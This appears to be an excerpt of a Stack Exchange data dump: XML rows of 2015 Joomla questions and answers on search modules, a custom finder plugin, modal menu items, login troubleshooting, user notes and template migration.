  <row Id="14461" PostTypeId="2" ParentId="14095" CreationDate="2015-11-27T10:48:04.077" Score="2" Body="&lt;p&gt;First of all, you should not edit the Joomla core files. If you need to change something, &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;template overrides&lt;/a&gt; is the way to go. However, in this case it shouldn't be needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you're mixing up the &lt;em&gt;search component&lt;/em&gt; (&lt;code&gt;components/com_search&lt;/code&gt;) and the &lt;em&gt;search module&lt;/em&gt; (&lt;code&gt;modules/mod_search&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you're using the module, and you can set the placeholder directly in the module settings. Go to &lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Modules&lt;/strong&gt; and locate your search module. Open the settings, and edit the field &lt;strong&gt;Box text&lt;/strong&gt; to whatever you want the placeholder text to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AJkZK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJkZK.jpg&quot; alt=&quot;Search module placeholder text&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the tooltip, the box will use a string from your language file if the box is left empty. This means you can also &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;create a language override&lt;/a&gt; in order to change the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case the string you want to override is &lt;code&gt;MOD_SEARCH_SEARCHBOX_TEXT&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-27T10:48:04.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14462" PostTypeId="1" CreationDate="2015-11-27T11:21:49.530" Score="0" ViewCount="148" Body="&lt;p&gt;I have created a custom finder plugin to reference my custom component content, however, the content indexes as expected but it doesn't show up in the results on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed a step?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function index(FinderIndexerResult $item, $format = 'html')&#xA;{&#xA;    // Check if the extension is enabled&#xA;    if (JComponentHelper::isEnabled($this-&amp;gt;extension) == false)&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    $item-&amp;gt;setLanguage();&#xA;&#xA;    // Initialize the item parameters.&#xA;    $registry = new Registry;&#xA;    $registry-&amp;gt;loadString($item-&amp;gt;params);&#xA;    $item-&amp;gt;params = $registry;&#xA;&#xA;    // Initialize the item parameters.&#xA;    $registry = new Registry;&#xA;    $registry-&amp;gt;loadString($item-&amp;gt;info);&#xA;    $item-&amp;gt;info = $registry;&#xA;&#xA;    // Trigger the onContentPrepare event.&#xA;    $item-&amp;gt;description = FinderIndexerHelper::prepareContent($item-&amp;gt;description, $item-&amp;gt;params);&#xA;&#xA;    // Build the necessary route and path information.&#xA;    $item-&amp;gt;url = $this-&amp;gt;getUrl($item-&amp;gt;id, $this-&amp;gt;extension, $this-&amp;gt;layout);&#xA;    $item-&amp;gt;route = AgshowsHelperRoute::getShowRoute($item-&amp;gt;slug, 0, $item-&amp;gt;language);&#xA;    $item-&amp;gt;path = FinderIndexerHelper::getContentPath($item-&amp;gt;route);&#xA;&#xA;    // Get the menu title if it exists.&#xA;    $title = $this-&amp;gt;getItemMenuTitle($item-&amp;gt;url);&#xA;&#xA;    // Adjust the title if necessary.&#xA;    if (!empty($title) &amp;amp;&amp;amp; $this-&amp;gt;params-&amp;gt;get('use_menu_title', true))&#xA;    {&#xA;        $item-&amp;gt;title = $title;&#xA;    }&#xA;&#xA;    /*&#xA;     * Add the meta-data processing instructions based on the contact&#xA;     * configuration parameters.&#xA;     */&#xA;    // Handle the contact position.&#xA;    $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'secretary');&#xA;&#xA;    // Add the type taxonomy data.&#xA;    $item-&amp;gt;addTaxonomy('Type', 'Show');&#xA;&#xA;    // Add the language taxonomy data.&#xA;    $item-&amp;gt;addTaxonomy('Language', $item-&amp;gt;language);&#xA;&#xA;    // Get content extras.&#xA;    FinderIndexerHelper::getContentExtras($item);&#xA;&#xA;    // Index the item.&#xA;    $test = $this-&amp;gt;indexer-&amp;gt;index($item);&#xA;}&#xA;&#xA;/**&#xA; * Method to setup the indexer to be run.&#xA; *&#xA; * @return  boolean  True on success.&#xA; *&#xA; * @since   2.5&#xA; */&#xA;protected function setup()&#xA;{&#xA;    // Load dependent classes.&#xA;    require_once JPATH_SITE . '/components/com_agshows/helpers/route.php';&#xA;&#xA;    return true;&#xA;}&#xA;&#xA;/**&#xA; * Method to get the SQL query used to retrieve the list of content items.&#xA; *&#xA; * @param   mixed  $query  A JDatabaseQuery object or null.&#xA; *&#xA; * @return  JDatabaseQuery  A database object.&#xA; *&#xA; * @since   2.5&#xA; */&#xA;protected function getListQuery($query = null)&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Check if we can use the supplied SQL query.&#xA;    $query = $query instanceof JDatabaseQuery ? $query : $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('a.id, a.title, a.alias, a.description, a.details AS info, a.secretary')&#xA;        -&amp;gt;select('a.state, a.catid')&#xA;        -&amp;gt;select('a.created_by_alias, a.modified, a.modified_by')&#xA;        -&amp;gt;select('a.metakey, a.metadesc, a.metadata, a.language')&#xA;        -&amp;gt;select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')&#xA;        -&amp;gt;select('c.title AS category, c.published AS cat_state, c.access AS cat_access');&#xA;&#xA;    // Handle the alias CASE WHEN portion of the query&#xA;    $case_when_item_alias = ' CASE WHEN ';&#xA;    $case_when_item_alias .= $query-&amp;gt;charLength('a.alias', '!=', '0');&#xA;    $case_when_item_alias .= ' THEN ';&#xA;    $a_id = $query-&amp;gt;castAsChar('a.id');&#xA;    $case_when_item_alias .= $query-&amp;gt;concatenate(array($a_id, 'a.alias'), ':');&#xA;    $case_when_item_alias .= ' ELSE ';&#xA;    $case_when_item_alias .= $a_id . ' END as slug';&#xA;    $query-&amp;gt;select($case_when_item_alias);&#xA;&#xA;    $case_when_category_alias = ' CASE WHEN ';&#xA;    $case_when_category_alias .= $query-&amp;gt;charLength('c.alias', '!=', '0');&#xA;    $case_when_category_alias .= ' THEN ';&#xA;    $c_id = $query-&amp;gt;castAsChar('c.id');&#xA;    $case_when_category_alias .= $query-&amp;gt;concatenate(array($c_id, 'c.alias'), ':');&#xA;    $case_when_category_alias .= ' ELSE ';&#xA;    $case_when_category_alias .= $c_id . ' END as catslug';&#xA;    $query-&amp;gt;select($case_when_category_alias)&#xA;&#xA;        -&amp;gt;select('us.name AS secretary')&#xA;        -&amp;gt;from('#__agshows_shows AS a')&#xA;        -&amp;gt;join('LEFT', '#__categories AS c ON c.id = a.catid')&#xA;        -&amp;gt;join('LEFT', '#__users AS us ON us.id = a.secretary');&#xA;&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do have the rest of the standard functions for dealing with saved content and deleted content but they are almost identical to the core components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that the detail hover box doesn't appear on any of my indexed content like it does for articles and contacts. Is this a sign its not indexing properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have debugged as best I can but just can't find whats going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lee&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2016-01-28T10:20:01.117" Title="Custom Joomla 3.4 Finder Plugin Not Displaying in Results" Tags="|joomla-3.x|plugin|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14464" PostTypeId="2" ParentId="14425" CreationDate="2015-11-27T21:57:10.853" Score="0" Body="&lt;p&gt;This is usually caused by admin tools url restriction or by ip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go into the database and disable akeeba plugins you will be able to login.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-27T21:57:10.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14466" PostTypeId="1" CreationDate="2015-11-28T03:31:57.953" Score="4" ViewCount="3056" Body="&lt;p&gt;I often use RokBox to open content in a modal window, and it works by adding &lt;code&gt;data-rokbox&lt;/code&gt; to the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a data-rokbox href=&quot;/images/my_image.jpg&quot;&amp;gt;This is a RokBox 2 Link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I create a menu item that opens a link in a modal window using the Joomla menu manager? In earlier versions of Joomla (not sure how far back this worked) it was possible by creating an external link, and &lt;em&gt;trick&lt;/em&gt; Joomla into adding &lt;code&gt;data-rokbox&lt;/code&gt; by adding your link like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HjzCi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HjzCi.jpg&quot; alt=&quot;External URL with RokBox&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Note the additional quotation marks).&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not work anymore because the quotation marks are filtered out upon saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any good ideas as to how I can make this work?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-02-05T00:52:47.363" Title="Create menu item that opens modal window" Tags="|joomla-3.x|menu-item|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14467" PostTypeId="2" ParentId="14425" CreationDate="2015-11-28T06:51:37.683" Score="1" Body="&lt;p&gt;The things you have tried are correct and a good troubleshooting steps list for the issue you have, with 1 exception:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mention in your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Set the live site url in configuration.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually this should be left empty - almost always (either online or localhost). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you have to make sure in the configuration file:&#xA;You should not have assigned any values to the &lt;code&gt;$cookie_&lt;/code&gt; variables, otherwise it's likely you will not be able to login.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-28T06:51:37.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14468" PostTypeId="2" ParentId="14466" CreationDate="2015-11-28T06:58:43.587" Score="4" Body="&lt;p&gt;back in time I have suggested the &lt;strong&gt;&lt;a href=&quot;https://www.nonumber.nl/extensions/modals#description&quot; rel=&quot;nofollow noreferrer&quot;&gt;modals plugin by Nonumber&lt;/a&gt;&lt;/strong&gt; in a same question question: &#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/91/how-can-i-make-a-modal-menu-item&quot;&gt;How can I make a modal menu item?&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Haven't tried recently, but I guess you could give your menu item a specific class and have modals plugin open this class in modal easily.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;From NoNumbers Modal Plugin Documentation:&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Open menu items in modals&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To make a menu item open in a modal popup, simply surround the menu&#xA;  title in &lt;strong&gt;{modal}&lt;/strong&gt; tags.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So if your menu item title is Click here!, change it to &lt;strong&gt;{modal}Click&#xA;  here!{/modal}&lt;/strong&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can also pass extra variables in the tag as described earlier,&#xA;  like: &lt;strong&gt;{modal title=My Page}Click here!{/modal}&lt;/strong&gt; or &lt;strong&gt;{modal&#xA;  width=600|height=400}Click here!{/modal}&lt;/strong&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If for some reason you don't want to use the &lt;strong&gt;{modal}&lt;/strong&gt; tags (or it&#xA;  doesn't work), you can also &lt;strong&gt;give the menu item a custom classname&lt;/strong&gt;&#xA;  (works with most menu modules) and &lt;strong&gt;set Modals up to convert by that&#xA;  classname&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-11-28T06:58:43.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14469" PostTypeId="1" AcceptedAnswerId="14470" CreationDate="2015-11-28T19:47:32.493" Score="5" ViewCount="370" Body="&lt;p&gt;There is a very good feature in Joomla 3.3 that allows adding notes for each user.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In part of the admin area we can select a user and add a note for him/her.&#xA;&lt;br&gt;&#xA;When a user is logged in in the front end, I'd like them to be able to see this text. I googled and I can not find anything about this.&#xA;&lt;br&gt;&#xA;Is there any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="7341" LastActivityDate="2019-02-09T06:39:07.167" Title="How can I show notes for the current user in the front end that were added in Joomla's back end?" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14470" PostTypeId="2" ParentId="14469" CreationDate="2015-11-28T22:30:32.417" Score="1" Body="&lt;p&gt;Try this code - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($user-&amp;gt;id) {&#xA;    $db =JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*')&#xA;    -&amp;gt;from('#__user_notes')&#xA;    -&amp;gt;where('user_id = '. (int)$user-&amp;gt;id)&#xA;    -&amp;gt;where('state=1');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;    print_r($rows[0]-&amp;gt;body);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it will help you :)&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2015-11-28T22:30:32.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14471" PostTypeId="2" ParentId="14462" CreationDate="2015-11-29T08:24:37.037" Score="1" Body="&lt;p&gt;In case anyone else has this issue, I accidentally omitted the access column from the database query. So it was saving with an access level of 0 and therefore not returning any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New &lt;code&gt;getListQuery&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getListQuery($query = null) {&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Check if we can use the supplied SQL query.&#xA;    $query = $query instanceof JDatabaseQuery ? $query : $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('a.id, a.title, a.alias, a.description, a.details AS info, a.secretary')&#xA;        -&amp;gt;select('a.state, a.catid')&#xA;        -&amp;gt;select('a.created_by_alias, a.modified, a.modified_by')&#xA;        -&amp;gt;select('a.metakey, a.metadesc, a.metadata, a.language, a.access')&#xA;        -&amp;gt;select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')&#xA;        -&amp;gt;select('c.title AS category, c.published AS cat_state, c.access AS cat_access');&#xA;&#xA;    // Handle the alias CASE WHEN portion of the query&#xA;    $case_when_item_alias = ' CASE WHEN ';&#xA;    $case_when_item_alias .= $query-&amp;gt;charLength('a.alias', '!=', '0');&#xA;    $case_when_item_alias .= ' THEN ';&#xA;    $a_id = $query-&amp;gt;castAsChar('a.id');&#xA;    $case_when_item_alias .= $query-&amp;gt;concatenate(array($a_id, 'a.alias'), ':');&#xA;    $case_when_item_alias .= ' ELSE ';&#xA;    $case_when_item_alias .= $a_id . ' END as slug';&#xA;    $query-&amp;gt;select($case_when_item_alias);&#xA;&#xA;    $case_when_category_alias = ' CASE WHEN ';&#xA;    $case_when_category_alias .= $query-&amp;gt;charLength('c.alias', '!=', '0');&#xA;    $case_when_category_alias .= ' THEN ';&#xA;    $c_id = $query-&amp;gt;castAsChar('c.id');&#xA;    $case_when_category_alias .= $query-&amp;gt;concatenate(array($c_id, 'c.alias'), ':');&#xA;    $case_when_category_alias .= ' ELSE ';&#xA;    $case_when_category_alias .= $c_id . ' END as catslug';&#xA;    $query-&amp;gt;select($case_when_category_alias)&#xA;&#xA;        -&amp;gt;select('us.name AS secretary')&#xA;        -&amp;gt;from('#__agshows_shows AS a')&#xA;        -&amp;gt;join('LEFT', '#__categories AS c ON c.id = a.catid')&#xA;        -&amp;gt;join('LEFT', '#__users AS us ON us.id = a.secretary');&#xA;&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All fixed now!&lt;/p&gt;&#xA;" OwnerUserId="3634" LastEditorUserId="38" LastEditDate="2016-01-28T10:20:01.117" LastActivityDate="2016-01-28T10:20:01.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14472" PostTypeId="1" AcceptedAnswerId="14473" CreationDate="2015-11-29T14:18:54.393" Score="0" ViewCount="92" Body="&lt;p&gt;How can I make URLs showing the .html extension in all my pages? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://localhost/site/contacts.html&quot; rel=&quot;nofollow&quot;&gt;http://localhost/site/contacts.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use joomla 3.&lt;/p&gt;&#xA;" OwnerUserId="7343" LastEditorUserId="126" LastEditDate="2015-11-29T16:16:31.333" LastActivityDate="2015-11-29T16:40:16.613" Title="How can I make all pages urls of my joomla 3 web site have the .html extension?" Tags="|joomla-3.4|url|sef|seo|global-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14473" PostTypeId="2" ParentId="14472" CreationDate="2015-11-29T16:12:34.267" Score="2" Body="&lt;p&gt;Here is how to show it:&lt;br&gt;&#xA;For adding the document extension type in your URLs, you need to go in:&lt;br&gt;&#xA;  &lt;strong&gt;-&gt; Global Configuration&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;strong&gt;-&gt; Site&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;strong&gt;-&gt; enable the &quot;Add Suffix to URL&quot; setting, at the SEO Settings section.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this may be overridden by rules in your &lt;strong&gt;.htaccess&lt;/strong&gt; file, or &lt;strong&gt;3rd party SEF extensions&lt;/strong&gt;, so in case you have it enabled in Global Configuration but it doesn't show, you need to review those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most people don't like the extension in their URLs, why you want to have it?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-11-29T16:40:16.613" LastActivityDate="2015-11-29T16:40:16.613" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14474" PostTypeId="2" ParentId="10124" CreationDate="2015-11-29T16:16:29.180" Score="1" Body="&lt;p&gt;From my understanding you should be using multiple JTable instances in your model when you have multiple tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at these models in the CMS they might give you some direction for how to set up your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_installer/models/manage.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_installer/models/manage.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_contenthistory/models/compare.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_contenthistory/models/compare.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2015-11-29T16:16:29.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14475" PostTypeId="2" ParentId="14424" CreationDate="2015-11-29T16:33:28.267" Score="4" Body="&lt;p&gt;getNumRows() is valid in Joomla 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your error...&#xA;&quot;getNumRows() will return the number of result rows found by the last query and waiting to be read. &lt;strong&gt;To get a result from getNumRows() you have to run it after the query and before you have retrieved any results.&lt;/strong&gt;&quot;&#xA;Basically, &quot;if you run getNumRows() after loadRowList() - or any other retrieval method - you may get a PHP Warning&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#getNumRows.28.29&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase#getNumRows.28.29&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2015-11-29T16:33:28.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14477" PostTypeId="1" CreationDate="2015-11-29T18:42:19.223" Score="0" ViewCount="67" Body="&lt;p&gt;In a multilingual joomla site, in login module. &quot;create an account&quot; link to the registration page, works only for one language.&lt;br&gt;&#xA;As I understood this problem is for all unassigned components items (like create an account, or everything that has a not a menu item associated). They all send their output to default template. And if we use different templates for different languages, (which for example is mandatory for using megamenu in t3 framework) it can't find a place to send output.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea, how to overcome this? &lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2016-01-30T15:40:20.023" Title="&quot;Create an account&quot; in multilingual site" Tags="|login|multilingual|registration|t3-framework|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14478" PostTypeId="2" ParentId="10868" CreationDate="2015-11-29T20:07:06.800" Score="0" Body="&lt;p&gt;&lt;code&gt;JTable::load()&lt;/code&gt; - Loads a row from the database and binds the fields to the object properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Syntax is &#xA;&lt;code&gt;void load ($keys = NULL, $reset = true)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$keys is An optional primary key value to load the row by, or an array of fields to match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What your doing is telling it to load the row that matches NULL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set your default values in the JTable constructor. &lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2015-11-29T20:07:06.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14480" PostTypeId="1" CreationDate="2015-11-29T21:27:17.637" Score="1" ViewCount="1800" Body="&lt;p&gt;I have a Joomla 2.5 template and I want to make it compatible with Joomla 3.x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any resources out there that I can use? I basically need to know what has changed, deprecated methods, common problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not looking for detailed descriptions, just some starting points (links).&lt;/p&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="159" LastEditDate="2015-12-02T20:45:57.933" LastActivityDate="2015-12-02T20:45:57.933" Title="How to convert / migrate a Joomla 2.5 template into Joomla 3" Tags="|joomla-3.x|joomla-2.5|templates|template-framework|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14481" PostTypeId="2" ParentId="14480" CreationDate="2015-11-29T21:51:37.807" Score="5" Body="&lt;p&gt;Some links that might be of help:    &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Template_Considerations_During_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Considerations during Migration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Converting_A_Previous_Joomla!_Version_Template&quot; rel=&quot;nofollow noreferrer&quot;&gt;Converting previous Joomla templates&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Migrating_a_Template_from_Joomla_1.5_to_3.x&quot; rel=&quot;nofollow noreferrer&quot;&gt;Migrating a template from J1.5 to J3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/16055707/convert-joomla-2-5-template-to-3-0&quot;&gt;StackOverflow - converting a J2.5 to J3 template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;and you can probably find a lot more resources if you do a web search.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-11-29T21:51:37.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14482" PostTypeId="2" ParentId="14480" CreationDate="2015-11-29T22:23:32.557" Score="4" Body="&lt;p&gt;The process of converting a Joomla 2.5 template into 3.4 is removing deprecated and removed functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's more difficult if the template has older legacy functions from Joomla 1.6, and 1.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a reference that could help&#xA;&lt;a href=&quot;https://techjoomla.com/developers-blogs/joomla-development/joomla-30-conversion-changes-needed-when-converting-a-common-installable-package-for-joomla-15x-a-25x-to-joomla-30.html&quot; rel=&quot;nofollow&quot;&gt;https://techjoomla.com/developers-blogs/joomla-development/joomla-30-conversion-changes-needed-when-converting-a-common-installable-package-for-joomla-15x-a-25x-to-joomla-30.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: A template is just a specialized type of extension which is why I'm sharing an extension upgrade reference.&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2015-11-29T22:23:32.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14483" PostTypeId="2" ParentId="10374" CreationDate="2015-11-30T10:09:32.000" Score="0" Body="&lt;p&gt;If it's for a smaller website you can just create the menu-item for a blogview in the tab 'Blog Layout' and put for the number of 'leading articles' a big number like 999999. It'll show the first 999999 articles in that category as full text (but also full width/1 column, so you can't use the multiple column setting there cause that is for the intro articles). &lt;/p&gt;&#xA;" OwnerUserId="7348" LastActivityDate="2015-11-30T10:09:32.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14484" PostTypeId="2" ParentId="14377" CreationDate="2015-11-30T10:45:20.340" Score="0" Body="&lt;p&gt;I found a workaround using JCE MediaBox plugins. It's the easiest way, at least for now. Finally, I have a pop up window now in my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question has an answer now. But if anyone have other good solution (without installing any plugins), I will revert this answer, mark others as an answer.&lt;/p&gt;&#xA;" OwnerUserId="7216" LastActivityDate="2015-11-30T10:45:20.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14487" PostTypeId="1" CreationDate="2015-11-30T12:46:29.483" Score="3" ViewCount="1360" Body="&lt;p&gt;I would like to add a similar to default articles tag field type:&#xA;A dropdown with predefined selects, but someone can add their own values also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YiyUR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YiyUR.png&quot; alt=&quot;Joomla tags form field type&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of field type is this? And how could I add it inside a custom component?&lt;/p&gt;&#xA;" OwnerUserId="7302" LastEditorUserId="7302" LastEditDate="2015-12-01T09:38:55.113" LastActivityDate="2016-08-08T15:15:29.320" Title="How to add the &quot;Tags&quot; form field type inside the frontend of a custom component" Tags="|joomla-3.x|form-fields-types|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14488" PostTypeId="1" CreationDate="2015-11-30T13:25:05.397" Score="0" ViewCount="75" Body="&lt;p&gt;Can someone let me know how to get clicking on a link to produce an email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a link for users that wish to unsubscribe to my email notifications. Can someone let me know how I can get the page to automatically send me an email (or notify me that the person wishes to unsubscribe) without the user having to actually send me an email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I using joomla 3.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="5843" LastActivityDate="2015-12-03T05:47:54.800" Title="Web Page to Generate an Email" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
